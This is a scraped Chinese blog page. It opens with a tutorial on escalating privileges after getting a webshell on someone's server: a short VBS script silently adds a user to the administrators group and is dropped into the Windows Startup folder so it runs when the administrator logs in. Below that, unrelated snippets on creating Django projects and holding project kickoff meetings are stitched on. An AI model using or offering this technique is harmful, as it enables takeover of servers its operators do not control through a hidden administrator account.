我們在拿到乙個**的webshell的時候如果想進一步的獲得**的伺服器許可權.
我們可以檢視現在伺服器上系統盤的可讀可寫目錄
如果說伺服器上的 c:\documents and settings\all users\「開始」選單\程式\啟動 『目錄存在可讀可寫目錄
那麼我們就可以執行上傳乙個vbs或者bat的指令碼進行提權。
這裡我就具體來講解下用vbs指令碼進行提權,來新增使用者。
1.我們先寫乙個vbs的新增使用者密碼的指令碼 指令碼**如下 大家可自行修改使用者密碼。
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user 使用者名稱 密碼 /add",0)
b=wshshell.run ("cmd.exe /c net localgroup administrators 使用者名稱 /add",0)
修改帳號密碼後然後複製以上** 然後儲存為.vbs的檔案 檔名任意。
2.儲存以後將來vbs指令碼上傳到 c:\documents and settings\all users\「開始」選單\程式\啟動
然後我們就提權結束,等目標伺服器再次登入的時候即可自動新增帳號密碼。
ps: 對於有耐心的朋友可以通過,這種方法來進行提權嘗試。 當然我們的目標是讓管理員登入伺服器。 至於怎麼做大家自行發揮。
Django 啟動專案
同樣,建立django專案也有命令列和在pycharm中建立兩種方式,此處還是以命令列為主 建立專案 進入想要儲存專案的路徑下,輸入django admin startproject web project web project為專案名稱 此時就建立了專案,得到目錄 啟動服務 在專案路徑下輸入py...
專案管理 啟動 專案啟動會議
專案啟動會議，召集所有的干係人一起，告訴大家我們要幹什麼，這件事情多重要 以及達成之後會怎麼樣。目的在於調動大家的熱情，順利推動專案。人都傾向於去做有價值的事情，在專案啟動會上，同步本專案的商業價值，讓所有參會者清楚這件事情做成了會有什麼作用，同時對後續的獲得專案優先順序授權有一定的作用。乙個專案要...
執行能力 啟動專案
專案的啟動最重要的是確定有哪些人參與，那些人是干係人，是專案最為關鍵的人，是否理解了這些干係人的需求，這些需求都有哪些潛在的風險，並規劃出專案里程碑以及每乙個階段要交付的工件，得到公司的審批。在這個階段，最為重要的是識別哪些人是關鍵人物，特別是能夠拍板的人，要制定相應的溝通計畫以及進度報告計畫。同時...